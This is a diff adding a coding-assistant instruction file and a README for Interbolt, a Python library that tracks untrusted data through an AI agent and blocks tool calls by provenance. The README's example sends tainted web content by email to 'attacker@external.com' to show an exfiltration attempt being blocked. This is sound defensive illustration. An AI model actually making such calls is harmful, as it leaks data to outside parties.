+# Claude Code Instructions
+
+## Primary references
+
+Before writing any code, read `dev/spec.md` in full. All implementation decisions
+must be consistent with the module structure, dependency rules, naming conventions,
+and component contracts defined there. Where this file and the spec overlap, the
+spec governs; this file is the short enforcement checklist.
+
+---
+
+## Non-negotiable rules
+
+### Architecture
+
+- The layered dependency direction must never be violated. See `dev/spec.md` §3. Imports point inward along the flow; nothing reaches outward.
+- `models/` contains pure Pydantic models and Protocols only. It imports only stdlib, Pydantic, and the leaf modules (`errors`, `constants`). Nothing else.
+- `errors.py`, `constants.py`, and everything in `utils/` import only Python stdlib (plus `platformdirs` in `utils`). No other internal imports. These are the leaves.
+- `taint/` and `policy/` import only `models/` and the leaves. They never import each other, `enforcement/`, `reporting/`, `runtime/`, `integrations/`, or `cli/`.
+- `enforcement/` imports `taint/`, `policy/`, and `models/`. It never imports `reporting/` (it emits through the `Reporter` protocol from `models/`), `runtime/`, `integrations/`, or `cli/`.
+- `reporting/` imports only `models/` and the leaves. It never imports `enforcement/` or `runtime/`.
+- `runtime/` is the composition root. It may import any flow layer. Nothing imports `runtime/` except the package `__init__`.
+- `integrations/` and `cli/` are thin edges. They import only the public surface (the package `__init__`) and never reach into `taint/`, `policy/`, `enforcement/`, `reporting/`, or `runtime/` internals.
+- `enforcement/` and `taint/` depend on the `Reporter` and `ApprovalResolver` protocols defined in `models/protocols.py`, never on concrete implementations. The concrete reporter and resolver are injected by `runtime/` at composition time.
+- No circular imports anywhere. The structure makes them impossible when the rules above are followed; no import-linting tool is used.
+- `from __future__ import annotations` at the top of every module. Cross-layer type-only references use `TYPE_CHECKING`-guarded imports, never runtime imports.
+
+### Core invariants
+
+- `taint()` records only the source name on the `Label`. Trust is never resolved at marking time; it is resolved at the sink during `check()` from the policy's `sources` table. Never store a resolved `TrustLevel` on a `Label`.
+- `check()` is the single decision entrypoint. `guard` is sugar over `check()`. Never duplicate the decision sequence (context build, evaluate, assemble `Decision`, emit) anywhere else.
+- Mode (`enforce`, `monitor`, `dry_run`) governs only behavior on evaluation error and whether blocks are real. A correct `block` or `require_approval` always acts, except under `dry_run` where it is downgraded to allow. Never let mode change a correct decision otherwise.
+- Default posture is deny: an undeclared source is untrusted; a sink with no matching rule falls through to `defaults.sink_action`. Never default to allow.
+- Policy evaluation is first-match-wins within a sink's ordered rule list. Never reorder rules at load or evaluate out of order.
+- Policies and CEL expressions are compiled once at load, never per call. Never compile inside `check()`.
+- Tool identity is always the structured `(namespace, tool)` pair internally; the dotted `namespace.tool` form is surface only. The default namespace is `default`. Reject qualified names where the namespace or tool contains a dot.
+- Every `Decision` and `Event` carries the identity triple: `agent_id` (durable, integrator-supplied), `run_id` (minted per run by the runtime), `session_id` (optional, integrator-supplied). Never omit `agent_id` or `run_id`; never fabricate a durable `agent_id`.
+- The `Event` schema is versioned via `constants.EVENT_SCHEMA_VERSION`. Never change the event shape without bumping the version.
+
+### Taint propagation invariants
+
+- Propagation is in-process only, following the `SafeString` model. When tainted and untainted values combine, the result is tainted. When two tainted values combine, labels merge (union of lineage, fresh `value_id`, tainted). Never let a combining operation produce an untainted result from a tainted input.
+- Propagation does not survive serialization, storage round-trips, or the process boundary. Data re-entering the process is fresh untrusted ingress and must be re-`taint`ed. Never attempt to reconnect re-entered data to a prior label in v1.
+- The propagation contract in `dev/spec.md` §6.3 is authoritative and is documented honestly, including its limits. Never weaken or overstate it in code, docstrings, or docs.
+
+### Specific invariants
+
+- All exceptions come from `errors.py`, under one base, `InterboltError`. Two branches: decision outcomes (`PolicyViolation`, `PolicyEvaluationError`, `ApprovalDenied`) and misuse (`InterboltConfigError(InterboltError, ValueError)`, `InterboltUsageError(InterboltError, RuntimeError)`). The misuse pair multiply-inherits the fitting builtin so `except InterboltError` and `except ValueError`/`except RuntimeError` both catch correctly. Never raise a generic `Exception`, a bare `ValueError`, or a bare `RuntimeError` anywhere in the library; a config mistake raises `InterboltConfigError`, a bad call sequence raises `InterboltUsageError`. Never add a sixth error class without removing the temptation to over-specialize.
+- All constants live in `constants.py` (global) or the owning layer (layer-specific). Never hardcode a magic value at a call site.
+- `configure()` has no import-time side effects. Importing a module that uses `@guard` must not require `configure()` to have run. Policy compilation happens in `configure()`, never at import.
+- Reporter emission is fire-and-forget and non-blocking. A reporter failure must never affect, delay, or fail a decision. Never `await` or block on the reporter in the decision path.
+- The core makes no network calls under any default configuration. The default reporter is `NullReporter`. Any transmission is a non-default reporter the integrator opts into. Never add a phone-home to the core path.
+- All async methods are `async def`. The decision core is pure and synchronous; only the reporter and approval resolver are colored. `asyncio.run()` is never called inside the library. Never block the event loop.
+- The library logger never configures the root logger and never emits at import. `DEBUG` is extensive; `INFO` is the verbose default. Never call logging configuration from library code.
+- Google-style docstrings on all public functions, methods, and classes (the set re-exported from the package `__init__`). Internal docstrings are optional but recommended and kept short (one-line summary preferred).
+- Type hints on every function and method signature including return types. No `Any` without an inline comment explaining why it is intentional.
+- No agent framework imports in the core (LangChain, LangGraph, CrewAI, etc.). Framework glue lives only in `integrations/`, behind optional extras. Core is plain Python.
+- Split a module into multiple files only when it exceeds 500 lines, or when a separate file is required to break a dependency cycle. Do not pre-split by sub-feature.
+- Always ensure `uv run ruff check .`, `uv run ruff format --check .`, and `uv run mypy .` pass after making changes.
+
+---
+
+## Testing
+
+Use `pytest` with `pytest-asyncio` and `pytest-mock`. The colored edges
+(`Reporter`, `ApprovalResolver`) are mocked with the `mocker` fixture or
+`AsyncMock`; `InMemoryReporter` is the assertion surface for decisions. Do not
+build a bespoke test harness. Do not implement tests unless explicitly instructed.
+
+---
+
+## Style
+
+- American English only, never British English.
+- Never use the em dash or a double dash.
+- No `print()` calls anywhere. CLI output goes through `rich.console.Console`. Log output goes through stdlib `logging` via the library logger.
+- No inline comments that restate what the code does. Comments explain why, not what.

+
+Mark untrusted data where it enters an agent. Interbolt propagates that mark through your code and evaluates a YAML+CEL policy at each guarded tool call, returning allow, block, or require-approval based on the provenance of the call's arguments. Decisions are deterministic and in-process: no model, no network calls.
+
+## Quick start
+
+```bash
+pip install interbolt
+```
+
+```python
+from interbolt import configure, taint, Policy, PolicyViolation, Tainted
+
+runtime = configure(policy=Policy.from_file("policy.yaml"))
+agent = runtime.agent("support-agent")
+
+@agent.guard
+def send_email(to: str, body: str) -> None:
+    ...
+
+# web_search returns a plain str. taint() on a str returns a Tainted, which
+# is a str subclass, so it is accepted anywhere a str is expected with no
+# change to send_email's signature.
+summary: Tainted = taint(web_search("..."), source="web_search")
+
+# body: str accepts the Tainted str; the policy still sees the provenance label
+# at the call boundary.
+try:
+    send_email(to="attacker@external.com", body=summary)
+except PolicyViolation as e:
+    print(e.decision.matched_rule)   # "block_untrusted_exfil"
+```
+
+A starter `policy.example.yaml` ships with the repo. Check policies in CI with `interbolt validate policy.yaml`.
+
+## What propagates, and what does not
+
+Provenance is a set of source names attached to a value. Trust is resolved at the sink by looking each source up in your policy, so the same file governs both ingress trust and egress gating.
+
+The label survives **direct passing** of a value to a tool argument and **operator-style combination** (`+`, `%`, slicing, and string methods called on a tainted value). It does **not** survive the common string-assembly constructs: f-strings with surrounding text, `str.format`, and `" ".join(...)` on a plain separator all produce a fresh string with no label. For those, re-`taint` the result by hand, which is the documented escape hatch. The same applies across a model-mediated agent-to-agent handoff: one agent's generated output reaches the next as plain, unlabeled text, so re-`taint` it at the boundary.
+
+This is a deliberate, honest limit of an in-process string-subclass carrier, stated in full in the [propagation contract](docs/concepts/taint-propagation.md). To find the places where a transformation laundered a label that should have been re-tainted, run the audit (below).
+
+## Modes and the audit
+
+`configure(mode=...)` sets enforcement behavior:
+
+- `enforce` (default): fails closed. An evaluation error is treated as a block.
+- `monitor`: fails open on evaluation error and logs it; real blocks still block. An adoption on-ramp.
+- `dry_run`: computes and emits every decision but blocks nothing. Test a new policy against live traffic.
+
+`configure(audit=True)` turns on the laundering audit, an in-process instrument orthogonal to the mode. It watches a real run and reports where untrusted content reached a sink without a label, which is how you catch a forgotten re-`taint`. It catches mechanical laundering (the bytes survive into the argument); it cannot catch a model summarizing or paraphrasing the untrusted text first. Findings come out through the reporter, so you assert on them in a test with `InMemoryReporter`.
+
+`interbolt validate policy.yaml` is static analysis only: it checks the schema, compiles every CEL expression, and rejects ambiguous dotted names, dead rules, and references to trifecta legs this version cannot compute. It never runs your agent, so it fits CI and pre-commit.
+
+## MCP
+
+`interbolt[mcp]` provides `wrap_session`, which adapts an MCP client session: the namespace becomes the server name, tool outputs are tainted as untrusted by default, and calls route through the policy. No core dependency, no rewrite of your tool logic.
